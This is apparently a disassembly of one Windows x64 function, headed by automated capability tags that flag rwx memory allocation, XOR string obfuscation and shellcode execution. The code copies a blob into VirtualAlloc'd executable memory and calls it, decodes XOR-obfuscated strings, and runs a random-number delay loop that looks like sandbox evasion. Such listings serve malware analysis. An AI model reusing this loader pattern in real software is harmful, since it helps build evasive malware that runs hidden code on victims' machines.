Function at 0x14022ef30
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x62b0
call fcn.14026ed30
sub rsp, rax
movaps xmmword [rsp + 0x62a0], xmm6
movaps xmmword [rsp + 0x6290], xmm7
movaps xmmword [rsp + 0x6280], xmm8
movaps xmmword [rsp + 0x6270], xmm9
movaps xmmword [rsp + 0x6260], xmm10
movaps xmmword [rsp + 0x6250], xmm11
movaps xmmword [rsp + 0x6240], xmm12
movaps xmmword [rsp + 0x6230], xmm13
movaps xmmword [rsp + 0x6220], xmm14
movaps xmmword [rsp + 0x6210], xmm15
mov rax, qword [0x140291040]
xor rax, rsp
mov qword [rsp + 0x6200], rax
xor esi, esi
xorps xmm0, xmm0
movups xmmword [rsp + 0xe90], xmm0
lea rax, [rsp + 0x62c8]
movabs r13, 0xff00ff00ff00ff00
mov qword [rsp + 0xe98], r13
mov qword [rsp + 0xea0], rax
mov rcx, qword [rax]
xor rcx, r13
mov qword [rsp + 0xd30], rcx
mov qword [rsp + 0xe90], rcx
mov qword [rax], rsi
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x310], 0x4e20
movups xmmword [rsp + 0xd70], xmm0
lea r12, [rsp + 0x62c8]
mov qword [rsp + 0xd78], r13
mov qword [rsp + 0xd80], r12
mov rdi, qword [r12]
xor rdi, r13
mov qword [rsp + 0xd70], rdi
mov qword [r12], rsi
mov ecx, esi
mov rax, qword [0x140295120]
lea r15, [0x14024a780]
lea r14, [0x140000000]
test rax, rax
je 0x14022f099
mov edx, esi
nop dword [rax]
cmp rax, r15
je 0x14022f088
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x295120]
test rax, rax
jne 0x14022f070
jmp 0x14022f099
mov r8, qword [r14 + rdx*8 + 0x297400]
test r8, r8
jne 0x14022f17f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14022f0c2
mov r8, rsi
jmp 0x14022f15e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14022f0d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140295a90]
mov qword [r14 + rax*8 + 0x295120], r15
mov qword [r14 + rax*8 + 0x297400], r8
inc rax
mov qword [0x140295a90], rax
lea rdx, [rsp + 0x310]
mov rcx, rbx
call r8
nop
xor rdi, r13
mov qword [rsp + 0xd70], rdi
mov qword [r12], rdi
mov r8, 0xffffffffffffffff
cmp byte [0x1402940d1], 0
je 0x14022f240
mov eax, dword [0x14027dc4c]
mov dword [rsp + 0x108], eax
movzx ecx, word [0x14027dc50]
mov word [rsp + 0x10c], cx
movzx eax, byte [0x14027dc52]
mov byte [rsp + 0x108], 0x79
xor byte [rsp + 0x109], 0x42
xor byte [rsp + 0x10a], 0x44
xor byte [rsp + 0x10b], 0x46
xor cl, 0x48
mov byte [rsp + 0x10c], cl
xor byte [rsp + 0x10d], 0x4a
xor al, 0x4c
mov byte [rsp + 0x10e], al
lea rax, [rsp + 0x108]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14022f220
lea rdx, [rsp + 0x108]
lea rcx, [0x140291d50]
call fcn.140248d40
jmp 0x14022f2b3
mov eax, dword [0x14027f478]
mov dword [rsp + 0xc8], eax
movzx eax, word [0x14027f47c]
mov word [rsp + 0xcc], ax
mov byte [rsp + 0xc8], 0x75
xor byte [rsp + 0xc9], 0x42
xor byte [rsp + 0xca], 0x44
xor byte [rsp + 0xcb], 0x46
xor al, 0x48
mov byte [rsp + 0xcc], al
xor byte [rsp + 0xcd], 0x4a
lea rax, [rsp + 0xc8]
inc r8
cmp byte [rax + r8], 0
jne 0x14022f295
lea rdx, [rsp + 0xc8]
lea rcx, [0x140291d50]
call fcn.140248d40
lea rdx, [0x140291d50]
lea rcx, [rsp + 0xcd0]
call fcn.140247310
mov rdx, rax
lea rcx, [rsp + 0xdd0]
call fcn.1402208b0
nop
lea rdx, [rsp + 0xdd0]
cmp qword [rsp + 0xde8], 0xf
cmova rdx, qword [rsp + 0xdd0]
mov r8, qword [rsp + 0xde0]
lea rcx, [0x140291cf0]
call fcn.140248d40
mov ebx, esi
lea r8, [rsp + 0xdd0]
cmp qword [rsp + 0xde8], 0xf
cmova r8, qword [rsp + 0xdd0]
lea rcx, [rsp + 0xdd0]
cmova rcx, qword [rsp + 0xdd0]
mov rdx, qword [rsp + 0xde0]
add rdx, rcx
cmp r8, rdx
je 0x14022f364
nop dword [rax]
nop word [rax + rax]
lea eax, [rbx + 1]
cmp byte [r8], 0x7c
cmovne eax, ebx
mov ebx, eax
inc r8
cmp r8, rdx
jne 0x14022f350
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movsd xmm0, qword [0x14027f7b8]
movsd qword [rsp + 0x2e8], xmm0
mov ecx, dword [0x14027f7c0]
mov dword [rsp + 0x2f0], ecx
movzx eax, word [0x14027f7c4]
mov word [rsp + 0x2f4], ax
mov r12d, dword [0x140291090]
movdqa xmm7, xmmword [0x1402806c0]
movdqa xmm8, xmmword [0x1402806d0]
movdqa xmm13, xmmword [str.jjjjllll]
movdqa xmm14, xmmword [0x1402806e0]
movdqa xmm15, xmmword [0x1402806a0]
movdqa xmm9, xmmword [0x140280570]
movdqa xmm10, xmmword [0x140280680]
movdqa xmmword [rsp + 0xd70], xmm15
cmp byte [0x14027f7c5], 0
je 0x14022f69e
mov r9d, esi
cmp r12d, 2
jl 0x14022f62b
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
paddb xmm2, xmm15
movd xmm0, dword [0x14027f7b8]
xorps xmm2, xmm0
movd dword [rsp + 0x2e8], xmm2
movdqa xmm11, xmmword [0x140280590]
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
paddb xmm2, xmm15
movd xmm0, dword [rsp + 0x2ec]
xorps xmm2, xmm0
movd dword [rsp + 0x2ec], xmm2
movdqa xmm12, xmmword [0x1402805b0]
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
paddb xmm2, xmm15
movd xmm0, ecx
xorps xmm2, xmm0
movd dword [rsp + 0x2f0], xmm2
mov r9d, 0xc
jmp 0x14022f63d
movdqa xmm11, xmmword [0x140280590]
movdqa xmm12, xmmword [0x1402805b0]
mov eax, r9d
lea r10, [rsp + 0x2e8]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x14022f650
jmp 0x14022f6b0
movdqa xmm11, xmmword [0x140280590]
movdqa xmm12, xmmword [0x1402805b0]
lea rdx, [rsp + 0x2e8]
mov rcx, r11
call fcn.14024a3c0
lea rdx, [rsp + 0xdd0]
cmp qword [rsp + 0xde8], 0xf
cmova rdx, qword [rsp + 0xdd0]
mov r8, qword [rsp + 0xde0]
mov rcx, rax
call fcn.140250fe0
lea rdx, [0x14024a5a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp ebx, 6
jl 0x14023b98c
cmp qword [rsp + 0xde0], 0x14
jb 0x14023b98c
xorps xmm0, xmm0
movups xmmword [rsp + 0xe18], xmm0
mov qword [rsp + 0xe28], rsi
mov qword [rsp + 0xe30], 0xf
mov byte [rsp + 0xe18], 0
movups xmmword [rsp + 0xea8], xmm0
mov qword [rsp + 0xeb8], rsi
mov qword [rsp + 0xec0], 0xf
mov byte [rsp + 0xea8], 0
movups xmmword [rsp + 0xec8], xmm0
mov qword [rsp + 0xed8], rsi
mov qword [rsp + 0xee0], 0xf
mov byte [rsp + 0xec8], 0
movups xmmword [rsp + 0xee8], xmm0
mov qword [rsp + 0xef8], rsi
mov qword [rsp + 0xf00], 0xf
mov byte [rsp + 0xee8], 0
movups xmmword [rsp + 0x10a0], xmm0
movdqa xmm6, xmmword [0x140280560]
movdqu xmmword [rsp + 0x10b0], xmm6
mov byte [rsp + 0x10a0], 0
movups xmmword [rsp + 0xf08], xmm0
mov qword [rsp + 0xf18], rsi
mov qword [rsp + 0xf20], 0xf
mov byte [rsp + 0xf08], 0
movups xmmword [rsp + 0xf28], xmm0
mov qword [rsp + 0xf38], rsi
mov qword [rsp + 0xf40], 0xf
mov byte [rsp + 0xf28], 0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x2744], 0xffffffff
mov dword [rsp + 0x13c4], eax
mov r15d, 1
mov edx, r15d
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x13c4], eax
inc rdx
cmp rdx, 0x270
jb 0x14022f830
mov dword [rsp + 0x13c0], 0x270
mov dword [rsp + 0x70], esi
lea rcx, [rsp + 0xd30]
call fcn.1401f2240
mov rbx, qword [rsp + 0xd30]
add rbx, 0x5f5e100
mov qword [rsp + 0xd30], rbx
nop word [rax + rax]
lea rcx, [rsp + 0x900]
call fcn.1401f2240
cmp qword [rax], rbx
jge 0x14022fa1f
mov edi, 0x186a0
nop dword [rax + rax]
lea rcx, [rsp + 0x13c0]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14022f8eb
nop dword [rax + rax]
lea rcx, [rsp + 0x13c0]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14022f8d0
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r15d
lea rcx, [rsp + 0x13c0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022f93b
nop word [rax + rax]
lea rcx, [rsp + 0x13c0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022f920
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x70]
add eax, ecx
mov dword [rsp + 0x70], eax
lea rcx, [rsp + 0x13c0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022f98b
nop
lea rcx, [rsp + 0x13c0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022f970
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x70]
imul eax, ecx
mov dword [rsp + 0x70], eax
lea rcx, [rsp + 0x13c0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022f9db
nop
lea rcx, [rsp + 0x13c0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022f9c0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x70]
sub eax, ecx
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
idiv ebx
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
idiv ebx
mov dword [rsp + 0x70], edx
sub rdi, r15
jne 0x14022f8b0
mov rbx, qword [rsp + 0xd30]
jmp 0x14022f890
mov eax, dword [rsp + 0x70]
xorps xmm0, xmm0
movups xmmword [rsp + 0x1080], xmm0
movdqu xmmword [rsp + 0x1090], xmm6
mov byte [rsp + 0x1080], 0
movups xmmword [rsp + 0x1000], xmm0
movdqu xmmword [rsp + 0x1010], xmm6
mov byte [rsp + 0x1000], 0
movups xmmword [rsp + 0xdf8], xmm0
mov qword [rsp + 0xe08], rsi
mov qword [rsp + 0xe10], 0xf
mov byte [rsp + 0xdf8], 0
movups xmmword [rsp + 0x1020], xmm0
movdqu xmmword [rsp + 0x1030], xmm6
mov byte [rsp + 0x1020], 0
movups xmmword [rsp + 0xd90], xmm0
mov qword [rsp + 0xda0], rsi
mov qword [rsp + 0xda8], 0xf
mov byte [rsp + 0xd90], 0
lea rax, [rsp + 0xd90]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x1020]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0xdf8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x1000]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1080]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xf28]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xf08]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x10a0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xee8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xec8]
lea r8, [rsp + 0xea8]
lea rdx, [rsp + 0xe18]
lea rcx, [rsp + 0xdd0]
call fcn.1401faac0
mov eax, dword [0x14027d6b4]
mov dword [rsp + 0x100], eax
movzx ecx, word [0x14027d6b8]
mov word [rsp + 0x104], cx
movzx eax, byte [0x14027d6ba]
mov byte [rsp + 0x100], 0x4e
xor byte [rsp + 0x101], 0x42
xor byte [rsp + 0x102], 0x44
xor byte [rsp + 0x103], 0x46
xor cl, 0x48
mov byte [rsp + 0x104], cl
xor byte [rsp + 0x105], 0x4a
xor al, 0x4c
mov byte [rsp + 0x106], al
lea rcx, [rsp + 0x100]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x14022fbc0
lea rdi, [0x140294430]
mov rcx, rdi
cmp qword [0x140294448], 0xf
cmova rcx, qword [0x140294430]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x100]
xor r8d, r8d
mov rdx, qword [0x140294440]
call fcn.14024c0c0
mov rbx, qword [rsp + 0xda0]
cmp rax, 0xffffffffffffffff
je 0x140235c97
lea rcx, [rsp + 0xd90]
cmp qword [rsp + 0xda8], 0xf
cmova rcx, qword [rsp + 0xd90]
cmp rbx, 1
jne 0x14022fc48
mov r8, rbx
lea rdx, [0x14027b6d0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140235c97
lea rdi, [fcn.1401f17d0]
mov eax, dword [0x14027d6b4]
mov dword [rsp + 0x170], eax
movzx ecx, word [0x14027d6b8]
mov word [rsp + 0x174], cx
movzx eax, byte [0x14027d6ba]
mov byte [rsp + 0x170], 0x4e
xor byte [rsp + 0x171], 0x42
xor byte [rsp + 0x172], 0x44
xor byte [rsp + 0x173], 0x46
xor cl, 0x48
mov byte [rsp + 0x174], cl
xor byte [rsp + 0x175], 0x4a
xor al, 0x4c
mov byte [rsp + 0x176], al
lea rax, [rsp + 0x170]
mov qword [rsp + 0x4d8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xd30], xmm0
lea rax, [rsp + 0x62c8]
mov qword [rsp + 0xd38], r13
mov qword [rsp + 0xd40], rax
mov rbx, qword [rax]
xor rbx, r13
mov qword [rsp + 0xd30], rbx
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x140295aa0]
test rax, rax
je 0x14022fd39
mov rdx, rsi
lea r8, [0x14024a750]
nop dword [rax]
cmp rax, r8
je 0x14022fd28
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x295aa0]
test rax, rax
jne 0x14022fd10
jmp 0x14022fd39
mov r8, qword [r14 + rdx*8 + 0x294790]
test r8, r8
jne 0x14022fe27
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14022fd62
mov r8, rsi
jmp 0x14022fdff
lea rax, [0x14024a750]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14022fd71
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140294de8]
lea rcx, [0x14024a750]
mov qword [r14 + rax*8 + 0x295aa0], rcx
mov qword [r14 + rax*8 + 0x294790], r8
inc rax
mov qword [0x140294de8], rax
lea rdx, [rsp + 0x4d8]
mov rcx, rdi
call r8
nop
xor rbx, r13
mov qword [rsp + 0xd30], rbx
lea rax, [rsp + 0x62c8]
mov qword [rax], rbx
movsd xmm0, qword [0x14027cff8]
movsd qword [rsp + 0x208], xmm0
mov ecx, dword [0x14027d000]
mov dword [rsp + 0x210], ecx
cmp byte [0x14027d003], 0
je 0x1402300f5
mov r9d, esi
cmp r12d, 2
jl 0x1402300a4
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm15
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14027cff8]
xorps xmm2, xmm0
movd dword [rsp + 0x208], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x20c]
xorps xmm2, xmm1
movd dword [rsp + 0x20c], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x210], xmm2
jmp 0x1402300f5
lea r10, [rsp + 0x208]
nop dword [rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xc
jl 0x1402300b0
xorps xmm0, xmm0
movups xmmword [rsp + 0xe50], xmm0
mov qword [rsp + 0xe60], rsi
mov qword [rsp + 0xe68], rsi
lea rax, [rsp + 0x208]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140230120
lea rdx, [rsp + 0x208]
lea rcx, [rsp + 0xe50]
call fcn.14020c680
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov qword [rsp + 0xd30], rax
lea rbx, [rsp + 0xd90]
cmp qword [rsp + 0xda8], 0xf
cmova rbx, qword [rsp + 0xd90]
mov dword [rax], esi
mov r8d, 0xa
lea rdx, [rsp + 0xcf8]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov ecx, eax
cmp rbx, qword [rsp + 0xcf8]
jne 0x14023019a
lea rcx, str.invalid_stoi_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
mov rax, qword [rsp + 0xd30]
cmp dword [rax], 0x22
jne 0x1402301b4
lea rcx, str.stoi_argument_out_of_range
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
cmp ecx, 0x28
jl 0x140230223
lea rcx, [rsp + 0xd90]
call fcn.1401f2320
cmp eax, 0x64
jg 0x140230223
lea rcx, [rsp + 0xd90]
call fcn.1401f2320
add eax, 0xffffffd8
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm0, qword [0x140280520]
addsd xmm0, qword [0x140280528]
cvttsd2si edx, xmm0
lea rcx, [rsp + 0xc70]
call fcn.1401f23b0
mov rdx, rax
lea rcx, [rsp + 0xd90]
call fcn.140247170
lea rcx, [rsp + 0xc70]
call fcn.140248aa0
jmp 0x140230281
movzx eax, word [0x14027dbd8]
mov word [rsp + 0xb0], ax
movzx eax, byte [0x14027dbda]
mov byte [rsp + 0xb0], 0x32
xor byte [rsp + 0xb1], 0x42
xor al, 0x44
mov byte [rsp + 0xb2], al
lea rax, [rsp + 0xb0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140230261
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0xd90]
call fcn.140248d40
nop
jmp 0x14023030f
movzx eax, word [0x14027dfb8]
mov word [rsp + 0x74], ax
cmp byte [0x14027dfb9], 0
je 0x14023032e
mov byte [rsp + 0x74], 0x3a
xor byte [rsp + 0x75], 0x42
lea rax, [rsp + 0x74]
mov rcx, 0xffffffffffffffff
nop word [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140230340
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
mov rdx, qword [rsp + 0xed8]
sub rax, rdx
cmp rax, rcx
jb 0x14023bdb0
lea r9, [rsp + 0xec8]
cmp qword [rsp + 0xee0], 0xf
cmova r9, qword [rsp + 0xec8]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x74]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0xa90]
call fcn.14024dd60
nop
lea rdx, [rsp + 0xee8]
cmp qword [rsp + 0xf00], 0xf
cmova rdx, qword [rsp + 0xee8]
mov r8, qword [rsp + 0xef8]
lea rcx, [rsp + 0xa90]
call fcn.1402470a0
xorps xmm0, xmm0
movups xmmword [rsp + 0xf88], xmm0
mov qword [rsp + 0xf98], rsi
mov qword [rsp + 0xfa0], rsi
movups xmm0, xmmword [rax]
